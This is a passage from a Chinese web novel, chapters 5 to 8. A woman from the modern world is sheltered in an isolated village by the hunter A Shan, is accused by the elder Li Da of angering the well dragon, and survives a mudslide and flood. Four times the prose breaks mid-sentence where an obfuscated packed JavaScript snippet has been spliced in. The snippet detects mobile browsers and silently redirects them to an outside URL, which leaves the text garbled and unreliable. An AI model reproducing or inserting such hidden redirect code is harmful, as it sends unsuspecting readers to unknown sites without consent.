“仙女姐姐,你说话真好听,像书里的声音。”妞妞托着下巴,痴痴地看着我,“李大先生说,你这种‘死水’喝了会让人没力气。可我偷偷喝了一口你给我的那壶水,我觉得甜丝丝的,肚子里暖呼呼的,一点也不疼了。”
我苦笑。那是当然,因为我往那壶水里加了阿山辛苦炼出来的硝盐和一点点我省下来的白糖。但我没法解释这叫预防肠道疾病,我只能摸摸她的头:“那就偷偷喝,别被李大先生看见。”
可是,李大先生的眼睛,始终在暗处盯着我们。
我早该想到的。在这个闭塞、被恐惧和愚昧笼罩的山村里,任何一点不同都会被放大成灾祸的征兆。李大先生那双浑浊却锐利的眼睛,像秃鹫一样盘旋在村子上空,他不会放过任何巩固自己权威的机会。
妞妞开始频繁地往我这里跑,有时一天能来两三趟。她不再像最初那样脏兮兮的,至少手和脸是干净的,头发也被我用自制的木梳勉强理顺,扎成两个歪歪扭扭的小揪揪。她甚至学会了在递给我野花或小石子前,先在衣襟上蹭蹭灰——这个动作让我心酸,也让我隐隐不安。我像在打磨一块未经雕琢的璞玉,却忘了这块璞玉属于一个视我为异端的世界。
变化是细微的,但足以引起注意。先是妞妞的娘,一个总是佝偻着背,面色蜡黄的妇人,在河边洗衣时,盯着妞妞难得干净的手腕和脖颈看了半晌,嘟囔了一句:“这丫头,最近倒晓得爱俏了。”这话被旁边嚼舌根的妇人听了去,添油加醋,就成了“妞妞被篱笆院里的东西迷了心窍,开始学那妖精做派”。
风言风语像山里的瘴气,无声无息地弥漫开来。
李大先生亲自等访妞妞家的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119585|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
门。据后来妞妞带着哭腔、断断续续的描述,那位穿着浆洗发白长衫的老者,拄着拐杖,在她家那间低矮昏暗的堂屋里坐了小半个时辰。他没大声斥责,只是用那种缓慢、低沉,仿佛带着粘稠重量的声音,对妞妞爹娘说:“娃儿心思纯,易被邪祟侵染。那院里的,非我族类,其心必异。她带来的那些‘干净’、‘甜水’,皆是裹了蜜糖的砒霜,蚀人根本,断我青石村的根脉啊。你们看阿山,原本多壮实一条汉子,如今眼窝深陷,神思不属,便是明证。”
妞妞爹是个老实巴交的庄稼汉,一辈子没出过这几座山,对李大先生的话奉若神明。他当场就抡起烧火棍,结结实实揍了妞妞一顿,骂她“不晓得好歹”,“招惹祸害”。妞妞娘在一旁抹眼泪,不敢拦,只是反复念叨:“听先生的,听先生的……”
那天下午,妞妞没来。我趴在篱笆缝边,从午后等到日头西斜,心里那点自欺欺人的平静彻底碎裂。阿山打猎回来,带回一只山鸡,见我失魂落魄地坐在门槛上,泥地上的方格图案被我无意识地划得乱七八糟。
“怎么了?”他放下猎物,手上还沾着未干的血迹。
“妞妞……今天没来。”我声音干涩。
阿山沉默地擦着手,走到水缸边舀水。半晌,他才说:“村里有闲话了。李大先生去过她家。”
我的心猛地一沉。最害怕的事情还是发生了。我不仅仅是被孤立、被唾弃,我甚至开始“污染”这个村庄的未来。在他们眼里,我教给妞妞的卫生习惯,我给她的那点微不足道的关怀,都是腐蚀她,让她背离“正道”的毒药。
“我是不是……做错了?”我抬起头,看着阿山在暮色中显得格外刚毅又疲惫的侧脸,“我不该理她,不该给她任何东西,不该让她靠近我。”
阿山转过身,目光复杂地看着我。火光在他眸子里跳动。“你没有错。”他的声音很稳,却带着一种压抑的怒意,“干净的水,洗干净手,不让肚子生虫……这有什么错?难道非要像他们一样,一辈子活在泥里、病里,才是对的?”
“可在这里,这就是错。”我苦笑,“我的存在本身就是错。阿山,我连累你了。如果不是我,你不会被说成‘精气被吸’,不会被全村人用那种眼神看着。”
阿山走过来,蹲在我面前。他身上有山林的气息和血腥味,还有一种奇特的让我感到安心的坚实感。“我带你回来,就没怕过这些。”他粗糙的手指抹掉我不知何时滑下来的眼泪,“李大先生……他怕的不是你,他怕的是你带来的‘不一样’。他靠着那些老规矩、那些神神鬼鬼的话管着这个村子,你让他觉得,他的规矩不灵了。”
这话像一道闪电,劈开了我心中的迷雾。是啊,恐惧源于未知,而权力则恐惧挑战。李大先生维护的,或许并非真理,而是他摇摇欲坠的权威。我这个突如其来的“变量”,正在无意间撼动他统治的基石。
5. 第五章 阿山的父母
然而,想通这一点并不能让我好受半分。妞妞因为靠近我而挨打,这比任何针对我的恶意都更让我痛苦和愤怒。那只是一个孩子,一个对我抱有最纯粹善意的孩子。
接下来的几天,妞妞果然没再出现。篱笆外空荡荡的,只有风吹过竹叶的沙沙声,和远处田间隐约的吆喝。我的世界重新缩回这方石屋小院,甚至比之前更加死寂。我机械地打扫、烧水,看着阿山早出晚归,心里却像破了一个大洞,呼呼地漏着风。
某天傍晚,天色阴沉得像是要压到屋顶。我正打算把晾晒的干柴收进来,忽然听到篱笆根那里传来极其细微的、窸窸窣窣的声音。
我屏住呼吸,轻轻靠近。
不是妞妞。篱笆最下面的缝隙里,塞进来一个小小的、用阔树叶包裹的东西。我捡起来,打开,里面是几颗红得发黑的野山楂,还有一小把炒熟的南瓜子。野山楂上还带着枝叶,南瓜子显然是被小心收集、慢慢积攒下来的。
树叶包裹的背面,用烧过的树枝,画着一个歪歪扭扭的图案:一个圆圈,上面戳了几个点,像是笑脸,旁边是两道波浪线,大概是代表篱笆。图案下面,是更稚拙的、几乎辨认不出的两个字——“不哭”。
我的眼泪瞬间决堤。我紧紧攥着那片树叶,指甲掐进掌心。妞妞没有忘记我。她在用她能做到的方式,偷偷地安慰我。她甚至知道我在难过。
就在这时,一阵刻意压低的争吵声顺着风飘过来,就在离篱笆不远处的柴垛后面。
“……你还敢来!爹的棍子没挨够是不是?”是一个略显尖利的童声,听起来像个大点的男孩。
“哥……我就放点东西,仙女姐姐对我好……”是妞妞!她声音里带着哭腔和倔强。
“好个屁!李大先生说了,她是妖女!专门骗小孩吃心肝的!你看阿山叔,都快被她吸成人干了!你再去,下次爹打断你的腿!”男孩的声音恶狠狠的,带着一种学来的、虚张声势的残忍。
“你胡说!仙女姐姐给我肉吃,给我甜水喝,还帮我洗手!她才不是妖女!”妞妞争辩着,但气势明显弱了许多。
“那是迷魂汤!李大先生说了,妖女最会这一套!你再不听话,我就告诉爹,告诉李大先生!把你关起来,不给你饭吃!”男孩威胁道。
接着传来推搡的声音,妞妞短促的惊叫和压抑的哭泣,脚步声匆匆远去,柴垛后恢复了寂静。
我浑身冰冷,血液仿佛都凝固了。愤怒、心疼、无力感……种种情绪像毒藤一样缠绕住我的心脏,越收越紧。我隔着篱笆,眼睁睁看着一个小女孩因为对我释放的微小善意,而被恐吓、被欺凌,却什么也做不了。我不能冲出去保护她,那只会坐实“妖女惑人”的罪名,给她带来更大的灾难。
这种清醒的无力,比任何直接的辱骂和排斥都更令人绝望。
阿山回来时,我正对着那包野山楂和南瓜子发呆,眼泪已经流干了,只剩下木然的空洞。
他看了一眼我手里的东西,又看了看我的脸色,什么都没问,只是默默生火做饭。山鸡肉在陶罐里咕嘟咕嘟地炖着,香气弥漫,我却只觉得反胃。
“阿山。”我开口,声音嘶哑得不像自己的,“你为什么要对我这么好?”
这个问题在我心里其实憋了很久。来到这里,我除了麻烦什么也没带来。我只是个手无缚鸡之力,满脑子怪念头,被全村视为祸害的累赘。按照最现实的逻辑,阿山早就该把我扔出去或者交给李大先生处置,来换取他在村里的安宁。
阿山添柴的手停住了。火光在他脸上跳跃,勾勒出他深邃的轮廓。他沉默了很久,久到我以为他不会回答。
“我娘,”他终于开口,声音低沉得像从地底传来,“也是从山外来的。”
我愣住了。
“我爹是猎户,在山里救了她。她和你一样,爱干净,怕虫子,喝不惯生水。”阿山用树枝拨弄着火堆,火星噼啪炸开,“她教我认字,虽然不多。她告诉我山外面有更大的世界,有不用打猎就能吃饱饭的地方。”
他的语气很平静,但我听出了一丝深埋的痛楚。
“后来呢?”我轻声问。
“村里闹时疫。李大先生说,是外来的女人带来了邪气。”阿山的声音更低了,“他们逼我爹……把她交出去。我爹不肯,带着她想逃进深山。那年的雪来得特别早……他们再也没回来。”
我捂住嘴,眼泪又涌上来。我终于明白阿山眼中那份小心翼翼的呵护从何而来,明白了他为什么愿意忍受我的“怪癖”,甚至不惜与全村对抗。我在他眼里,或许不只是个需要保护的弱女子,更是他母亲——那个同样被这个世界排斥、最终消逝在风雪中的异乡人的影子。保护我,就像在弥补当年无法保护母亲的遗憾。
“找到他们的时候,”阿山继续说,声音干涩,“我娘的怀里,还揣着半块她没舍得吃的干粮,是留给我爹的。我爹的弓断了,他死前……还保持着护着她的姿势。”
火光照着他微微发红的眼眶,但他没有流泪。或许在这残酷的山里,眼泪是早就流干了的东西。
“所以,琪琪。”他抬起头,目光如磐石般坚定,“只要我活着,就不会让同样的事发生第二次。你不是祸害,你是我带回来的。你的命,我护着。”
这番话像重锤敲在我心上。我之前所有的委屈、恐惧,在这一刻都变得渺小。阿山背负的,远比我看到的沉重得多。他对我好,不是因为我是谁,而是因为他要坚守某种东西,对逝去亲人的承诺,对自己良心的交代,对那一抹不同的捍卫。
“对不起,阿山,”我哽咽道,“我不知道……”
“不用知道。”他打断我,“你只要好好活着就行。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119586|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“可是……我在这里就是个祸害!害你被指指点点,害妞妞挨打挨骂!是不是非要我死了,或者被他们绑去烧了,这一切才能结束?”话一出口,我自己都吓了一跳。那股一直压抑着的属于现代人的愤怒和委屈,混合着对这个原始环境的憎恶,终于冲破了理智的闸门。
阿山猛地抬头,眼神锐利如刀。“不许说这种话!”他厉声道,随即又缓和了语气,带着一种不容置疑的坚决,“有我在,没人能动你。李大先生也不行。”
“可你护得住一时,护得住一世吗?”我颓然道,“你能堵住全村人的嘴吗?你能时时刻刻看着妞妞不让她靠近我吗?阿山,这不是打猎,不是对付野兽。这是人心。”
阿山沉默了。火光映着他紧抿的嘴唇和下颌坚硬的线条。过了很久,他才说:“人心也是肉长的。会怕,也会变。”他看向我,“你教妞妞洗手,给她干净水喝,这些事,或许现在看是祸端。但种子埋下去了,总有一天会发芽。妞妞现在小,她不懂李大先生那些大道理,她只知道谁对她好。这份‘知道’,比什么先生的话都实在。”
他顿了顿,声音更沉:“村里也不全是糊涂人。只是没人敢出头。就像山里的鹿群,头鹿往哪儿走,它们就往哪儿跟。但要是头鹿带错了路,走进了沼泽……跟久了,总会有人想回头。”
我怔怔地看着他。这个看起来粗犷、沉默的猎人,竟能说出这样一番话。他并非不懂人心,他只是选择用自己认为对的方式去应对。
“那我们现在……该怎么办?就这么等着?”我问。
“等,也不是干等。”阿山用树枝拨弄着火堆,“冬天要来了,储存食物、柴火是头等大事。我会多打猎,多备些肉干皮子。村里谁家缺了过冬的粮,我能帮就帮一点。不求他们念好,只求他们少说两句闲话。”他看向我,“你……就待在院里。若是闷,我下次去镇上,看能不能寻本旧书回来。”
他说的镇上,是翻过两座山的一个稍大点的集市,要走一天一夜的山路。那里的人或许依然封闭,但至少不像青石村这样,完全被一个李大先生掌控。
我点点头,心里却知道,寻书怕是奢望。在这个时代,书籍是极其珍贵稀罕的东西。
“至于妞妞……”阿山沉吟了一下,“那孩子心善,也有主意。你越不让她来,她可能越想方设法来。堵不如疏。下次她若再来,你别赶她,但也别给她东西,尤其别给她吃的喝的。就说……就说你病了,怕过了病气给她。让她远远说说话就行。”
我明白阿山的顾虑,任何实质性的馈赠,现在都会成为把柄。精神上的那点微弱联系,或许反而更安全,也更难以被指责。
那一夜,我辗转难眠。妞妞树叶上的笑脸和“不哭”两个字,柴垛后那场充满愚昧和暴力的童言威胁,阿山母亲的故事,都让我心乱如麻。
6. 第六章 李大先生的进攻
我走到窗边,推开一条缝。深秋有些寒意的山风灌进来,夹杂着泥土和草木腐烂的气息。这里的夜空没有光污染,星河近乎嚣张地璀璨,一条乳白色的光带横贯天际,那是现实中我所在城市中早已难以见到的银河。如此壮丽,如此永恒,冷漠地俯视着大地上蝼蚁们的悲欢离合。
在这被文明遗忘,也可能是故意封闭起来的村落里,一个孩子的善意,竟需要如此小心翼翼、如履薄冰地传递。而我,作为一个来自所谓高度文明世界的闯入者,除了那点无用的知识和泛滥的同情心外一无是处。
我忽然想起曾读过的一句话:“真正的勇气,是在认清生活的真相之后,依然热爱生活。”可在这里,生活的真相是如此的粗粝、荒诞且充满恶意。热爱?谈何容易。
我能做的或许只剩下认清状况,以及在认清之后,尽量保持自己不要被同化和磨灭。就像妞妞偷偷塞进来的野山楂,酸涩、微小,却已经是在贫瘠土壤里,顽强生长出来的一点真实甜意。
空闲下来,我烧了更多的热水,用皂角把自己从头到脚搓洗得发红,仔细地打扫石屋每一个角落,甚至把凹凸不平的泥地都尽力抹平。有些偏执地想要告诉自己:我还活着,我还能对抗周遭令人窒息的混沌。
下午,再次听到篱笆边细微的响动。我没有立刻过去,等了一会儿,才装作不经意地走到附近。篱笆缝下,又多了一个小树叶包。这次里面是几颗光滑的鹅卵石,和一根颜色格外鲜艳的野鸡翎毛。没有字,也没有画。
我蹲下身,对着缝隙轻轻说:“妞妞,是你吗?”
外面安静一瞬,然后传来极力压低的带着鼻音的回答:“……嗯。”
“东西我收到了,很漂亮。”我尽量让声音听起来平静温和,“谢谢你。”
“……琪琪姐姐,你不生我气吗?我哥他……他说你是……”妞妞的声音带着哽咽。
“我不生气。”我打断她,喉咙发紧,“你哥是听别人说的,他不是故意的。妞妞,你记住,不管别人说什么,你自己心里知道就好。还有,我最近……身体不太舒服,你以后别靠太近,也别拿东西来了,好吗?远远地说说话就行。”
“……你病了?”妞妞的声音立刻充满了担忧,“疼不疼?要不要我去采药?我认得止血草……”
“不用,不疼。就是没力气,怕过给你。”我连忙说,“你好好吃饭,听爹娘的话,别跟他们顶嘴,就是帮我了。”
外面沉默很久,久到我以为她已经走了。
“琪琪姐姐,”她的声音忽然变得很轻,却很清晰,“我知道你不是妖女。你是从……从星星上掉下来的,对不对?我晚上看星星的时候,就觉得你是从那里来的。”
我的眼眶瞬间又湿了,孩子的直觉,有时比成人的智慧更接近某种真相。
“……也许吧。”我含糊地应道,“所以我要好好养着,才能……才能找机会回去。”
“那你回去了,还会记得妞妞吗?”
“会。永远记得。”
“拉钩!”
我看着竹篱笆缝隙外,那一点点隐约晃动的小小手指影子,慢慢伸出自己的小指,隔着粗糙的竹条,与那个看不见的钩,轻轻碰了碰。
“拉钩。”
仿佛有什么东西,越过了肮脏的泥泞、愚昧的谣言、森严的篱笆,在两个截然不同的灵魂之间,建立起一座无声而坚固的桥。这座桥很脆弱,随时都会被现实的洪流冲垮,但在此刻,它起码真实存在着。
妞妞又低声说了几句村里孩子间的趣事,然后像只受惊的小兔子一样匆匆跑掉了。我握着那几颗微凉的鹅卵石和那根鲜艳的翎毛,走回屋里。
阿山晚上回来,听我说了下午的事,点头:“这样也好。有个念想,但不起眼。”
日子似乎又恢复了一种紧绷的平静。妞妞偶尔会来,真的只是远远隔着篱笆说几句话,或者放下一点根本不算礼物的小东西,比如一片特别的叶子,或是一块形状奇怪的树皮。我也遵守诺言,不再给她任何实物。我们之间的交流,变成了纯粹的语言和象征物的交换,像地下工作者在传递着表面无关紧要,其实至关重要的密码。
然而,山雨欲来的压抑感并未消散。李大先生的身影,开始更频繁地出现在村子中心那棵巨大的神树下。他召集村民说话的时间变长了,声音也愈发洪亮、富有煽动性。我虽然听不清具体内容,但“洋妖”、“祸根”、“祖宗规矩”之类的词眼,还是会随着风断断续续飘进院子。
阿山的眉头也锁得更紧。他打猎收获不错,但分送肉干给几户确实困难的人家时,对方的反应却更加复杂。有人感激地收下,眼神躲闪。有人则直接关门,隔着门板说“不敢要”。更有人,比如住在村东头的赵四,以前常和阿山一起进山,现在却当面阴阳怪气:“阿山,你这肉……干净吗?别是沾了啥不干净的东西吧?”
阿山只是冷冷看他一眼,把肉放在他家门口的石墩上,转身就走。
我知道,李大先生的工作见效了。他在不断强化“我们”与“异类”的边界,将恐惧和排斥制度化、日常化。而我,就是那个最好的靶子。
霜降那天,出了件不大不小的事。村里唯一一口甜水井,忽然泛起了浑浊,打上来的水有股子土腥味。这在靠天吃饭、视水源为命脉的山村,可是严重的大事件。
村民们聚集在井边,议论纷纷,惶恐不安。李大先生被人请来,他围着井口转了三圈,又抬头看了看天色,那几天确实阴云密布,然后闭上眼,手指掐算了半天,猛地睁开,拐杖重重一顿地!
“井龙王爷发怒了!”他声音沉痛而笃定,“咱们村里,有人行了逆天之事,污了地气,冲了龙神!这才惹得甘泉变浊!”
人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119587|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
群顿时哗然,惊恐的目光四处游移,最后,不约而同地,投向了村子边缘,阿山那座孤零零的石屋方向。
尽管隔着一段距离,我仍能感觉到那无数道目光汇聚成的、冰冷刺骨的寒意。我站在院子里,手脚冰凉。我知道,新一轮更加猛烈的风暴就要来了。而这一次,借口似乎更加确凿,令人更加难以辩驳。
阿山当时不在,他进山去查看前几天设下的陷阱了。
当天下午,李大先生亲自带着两个壮丁,来到了篱笆院外。他没有像往常那样站在远处喊话,而是直接推开了那扇简陋的柴门。
我正蹲在灶台边,听到动静猛地回头,心脏几乎停跳。
李大先生站在院门口,长衫在阴冷的风里微微摆动。他身后,两个满脸横肉的壮丁手持棍棒,眼神不善。院子里晾晒的兽皮、我精心打理的几盆野花,在他们眼中仿佛都是罪证。
“琪琪姑娘,”李大先生开口了,声音不高,却带着一种不容置疑的压迫感,“井水变浊,龙神示警,你可知道?”
我扶着灶台站起来,腿有些发软。“我……我不知道。这和我有什么关系?”
“关系?”李大先生冷笑一声,缓步走进院子,目光扫过那口冒着热气的水壶,“你日日焚烧大量柴火,煮沸清水,此乃‘炼水为死’,断绝地气生机!你炼制硝盐,刮取地髓,此乃‘窃取地精’,动摇山川根本!你蛊惑孩童,教以邪法,此乃‘败坏人心’,断我青石村传承!”
他每说一句,就往前逼近一步。那两个壮丁也跟着进来,呈半包围之势。
“我没有!”我声音发抖,但努力挺直脊背,“烧水是为了防止生病!硝盐是为了活下去!妞妞……我只是教她爱干净!”
“爱干净?”李大先生像是听到天大的笑话,“用死水,食毒盐,便是干净?琪琪姑娘,你那一套,在此地行不通!你的存在本身,就在污秽我们的水土,触怒我们的神灵!”
他停在离我只有三步远的地方,浑浊的眼睛死死盯着我:“今日井水变浊,只是小小警告。若你再不知悔改,继续行这逆天之事……下一次,就不是井水浑浊这么简单了。山洪、地动、疫病……青石村承受不起这样的天罚!”
“你想怎么样?”我听到自己的声音在颤抖。
“离开。”李大先生吐出两个字,冰冷无情,“从哪里来,回哪里去。或者……”他顿了顿,目光扫过石屋,“让阿山把你交出来,由村里长老议处,以平息神怒。”
议处?我脑子里瞬间闪过阿山母亲的下场。交给他们,我绝对没有活路。
“阿山不会同意的。”我咬牙道。
“那就由不得他了!”李大先生声音陡然拔高,“青石村百十口人的性命,难道还比不上一个来路不明的妖女?阿山若执迷不悟,便是与全村为敌!到时候,莫怪乡亲们不顾往日情分!”
7. 第七章 山洪
李大先生这话已经是赤裸裸的威胁。他在逼阿山做选择——要么交出我,要么被整个村子放逐、甚至敌视。
“我给你三天时间。”李大先生最后说道,转身欲走,又回头面目阴毒地补充,“这三天,你最好安分些。若再敢生事,或试图蛊惑任何人……后果自负。”
他们走了,柴门被粗暴地摔上,震下了碎屑。
我瞬间脱力,瘫坐在冰冷的泥地上,浑身止不住发抖。不是因为害怕阴狠歹人李大先生教唆可能对我实施的事情,而是因为恐惧自己真的会给阿山带来灭顶之灾。阿山已经因为同样的原因失去双亲,难道现在还要失去他赖以生存的村庄,甚至性命吗?
阿山傍晚回来时,脸色异常凝重。他显然已经听说了井水的事和李大先生的警告。
“他们来过了?”他卸下猎物后,第一句话就问。
我点点头,把李大先生的话原原本本告诉他,包括那句“与全村为敌”。
阿山听完,沉默很久。他走到水缸边,舀了一瓢水,仰头喝干,然后重重把瓢扔回缸里,发出“哐当”一声闷响。
“你别怕。”他只说了这三个字,但拳头攥得指节发白。
“阿山,”我走到他面前,仰头看着他,“如果……如果我真的会带来灾祸,如果我的存在真的会让村里人恨你、对付你……我是不是应该……”
“你想都别想。”阿山打断我,眼神锐利如刀,“我娘的事,我绝不会让它重演。井水浑浊,往年也有过,是山里土层变动,过几天自己会清。李大先生不过是借题发挥。村里人总有一天都会明白的。”
话虽如此,但接下来的两天,气氛明显不对劲起来。
井水没有变清,反而更加浑浊,带上点淡淡的铁锈色。村民们打水时,看向石屋方向的眼神充满怨毒和恐惧。有人开始在远处对着院子指指点点,甚至扔石头。一块拳头大的石头砸破厨房窗户上糊的油纸,冷风呼呼地灌进来。
阿山修补了窗户,什么话都没说,但打猎回来得越来越晚,带回来的猎物却越来越少。我知道,他在山里不仅要对付野兽,还要提防可能来自同村人的暗算。李大先生的煽动正在将孤立转化为实质的敌意。
第三天,也是李大先生给的最后期限,天气陡然变化。
从早上开始,天色就黄得吓人,不是晴朗的昏黄,而是一种浑浊的、令人窒息的土黄色。风停了,空气闷得像是捂在厚棉被里。山里的鸟兽异常安静,连平时最聒噪的乌鸦都销声匿迹。
一种不祥的预感笼罩着整个村庄。
阿山一早就要进山,我死死拉住他:“阿山,今天别去了,天气不对劲。”
他看了眼天色,眉头紧锁。“我得去把陷阱里的猎物收回来,顺便看看能不能打到大的猎物。过冬的储备……还差得远。”
“阿山,我害怕。”我抓着他的袖子,声音带着哭腔。这种天气我在现实世界见过类似的报道,往往是极端天气的前兆。
他摸了摸我的头,动作依旧笨拙,沉声安慰我:“待在屋里,关好门。我天黑前一定回来。”
他走了,背着弓和柴刀,身影很快消失在昏黄的山林里。
我一个人待在石屋里,坐立不安。时间一点点过去,天色越来越暗,却不是夜晚降临的那种暗,而是一种诡异的、仿佛整个天空都在向下压的昏暗。远处传来闷雷般的声音,不是雷声,更像是……大地在呻吟。
下午大概三四点,第一滴雨落了下来。
那不是雨。
是泥浆。
浑浊的、夹杂着沙土和碎草的泥浆,噼里啪啦地砸在屋顶、地面、窗户上。很快,泥浆变成了倾盆而下的黄水,中间还夹杂着指甲盖大小的冰雹。
山洪!
我猛地反应过来,扑到窗边。透过破损的油纸,我看到远处的山峦仿佛在移动。那是泥石流!黄褐色的泥浆裹挟着树木、巨石,如同巨兽般从山坡上倾泻而下,直奔山脚下的青石村!
尖叫声、哭喊声、房屋倒塌的轰鸣声瞬间撕破了之前的死寂。
“阿山!妞妞!”我惊恐地捂住嘴。
石屋因为地势稍高,暂时还没有被泥水直接冲击,但浑浊的洪水已经漫进院子,水位迅速上涨。篱笆被冲垮,我晾晒的兽皮、辛苦打理的小菜畦,瞬间被吞没。
我必须离开这里!石屋是土石结构,在持续暴雨和洪水冲刷下,随时可能坍塌!
我慌乱地套上阿山留给我的蓑衣,虽然没什么用,想往高处跑。但一打开门,汹涌的泥水就冲进来,直接淹到我的小腿。水流湍急,夹杂着碎石断木,我根本站不稳。
“救命——!”我本能地尖叫,但声音淹没在暴雨和洪流的咆哮中。
就在这时,一个身影逆着洪水,踉跄着朝石屋冲来。
是阿山!
他浑身裹满了泥浆,脸上、手上都是刮伤,左臂不自然地垂着,应该是受了伤。但他右手死死握着一根粗树枝作为支撑,拼命向我靠近。
“琪琪!抓住!”他嘶吼着,将树枝的一端伸向我。
我连滚带爬地扑过去,抓住树枝。阿山用尽力气把我往他身边拉。一个浪头打来,我差点被卷走,阿山猛地将我拽进怀里,用身体挡住大部分冲击。
“屋后……有条小路……通往后山崖……”他在我耳边大喊,声音被风雨扯得破碎,“抓紧我!”
我死死抱住他的腰。阿山忍着左臂的剧痛,右手拄着树枝,带着我艰难地绕到石屋后面。这里地势稍高,洪水浅一些,但泥泞不堪。阿山说的小路,其实只是一条被雨水冲出来满是滑溜泥浆的陡坡。
我们手脚并用地往上爬。泥石流的声音越来越近,仿佛死神的咆哮。我回头看了一眼,只见我们刚刚离开的石屋,在洪流的冲击下轰然倒塌,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119588|195952||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞬间被吞没。更远处,整个青石村已经变成一片浑黄的汪洋,只有少数高处的屋顶还露在水面,像绝望的孤岛。
“琪琪,别看!快走!”阿山催促。
我们终于爬到后山一处相对平坦的崖壁下,这里有一块突出的岩石,勉强可以避雨。阿山脱力地靠坐在石壁上,脸色惨白,左臂明显肿胀变形。
“你的手……”
“脱臼了,可能骨头也裂了。”阿山喘着粗气,“没事,死不了。”
我看着他狼狈的样子,看着山下已成泽国的村庄,泪水混着雨水流下来。“村里的人……妞妞他们……”
阿山沉默地看着山下,眼神沉重:“看造化吧。”
暴雨还在下,但势头似乎弱了一点。天色渐渐黑透,只有偶尔划过的闪电,照亮山下那片地狱般的景象。
我们躲在岩石下,又冷又饿,瑟瑟发抖。阿山用还能动的右手,勉强生起一小堆火——柴火是他在路上捡的,湿漉漉的,冒着浓烟,但总算有一点暖意。
“阿山,”我靠在他没受伤的那边,声音沙哑,“这……这就是李大先生说的‘天罚’吗?”
阿山看着跳跃的火苗,良久,才说:“山就是山,水就是水。下了太多雨,土松了,就会塌。跟什么人做什么事,没关系。”
他顿了顿,声音低了下去:“但我娘那年……也是这么大的雨,这么冷的冬天。”
我握紧了他冰凉的手。天灾无情,但人祸往往让悲剧雪上加霜。李大先生利用恐惧巩固权威,而恐惧和愚昧,在灾难面前从来不是救赎,只会让人们在自救和互救时多一层猜忌和阻碍。
“我们会死在这里吗?”我问。
“不会。”阿山回答得很干脆,“等雨停,水退,我们找路下山。去镇上,或者……去更远的地方。”
“那妞妞……”
“明天,我去村里找。”阿山说,“现在下去,是送死。”
我知道他说得对。黑暗和洪水掩盖了一切,此刻的村庄是吞噬生命的陷阱。
那一夜被拉扯得无比漫长。我们蜷缩在微弱晃动的火堆旁,听雨声渐疏,听远处洪流沉闷的呜咽,像大地痛苦的叹息。寒冷渗进骨髓,伤口隐隐作痛,恐惧如影随形,而对明天的茫然,比夜色更浓重地裹住呼吸。
可自始至终,阿山的手没有松开过。
他的体温透过掌心传来,他平稳的呼吸在耳边起伏,他沉默却坚实的陪伴,在这狂暴颠倒的天地之间,成了我唯一可以握住的支柱。
天灾已降,村庄已没,前路断裂在浑浊的水面之下。
但是,我们的呼吸还在继续,体温还在交融,我们还活着。只要活着,光就有可能在裂缝中重新渗进来。
不知过了多久,雨声终于稀薄下去。在火光将熄未熄的恍惚里,我抬起头,看见墨黑的天边,隐约渗进了一线极淡、极灰的白。
8. 第八章 阿山的选择
雨不是渐渐停歇,而是像被一只巨手陡然掐断,只剩下淅淅沥沥的残滴从岩缝和树叶间坠落。山谷里弥漫着浓重的水汽和泥土腥味,远处洪水的咆哮变成了低沉的呜咽,但水位依然高得吓人。
阿山在天蒙蒙亮时醒了过来。他整夜都迷迷糊糊地没怎么睡着,左臂的剧痛让他脸色发青,额头上全是冷汗。我试图给他做固定,但一碰他就疼得闷哼。
“得……得把骨头接回去。”他咬着牙说,声音虚弱。
“我不会……”我慌了。
“我教你。”阿山靠坐在岩壁上,让我扶住他的肩膀,“抓住我的手腕……对,慢慢往外拉……感觉到‘咔’一声就停。”
我的手抖得厉害。阿山的手臂肿得发亮,皮肤下透着淤紫。我闭上眼睛,心一横,按照他说的方向用力。
“呃啊!”阿山发出一声压抑的痛吼,身体猛地绷紧。
我吓得松开手,但就在那一瞬间,我确实感觉到了一声轻微的“咔哒”。
阿山大口喘着气,冷汗浸透了破烂的衣衫。“好……好了。找两根直一点的树枝,绑上。”
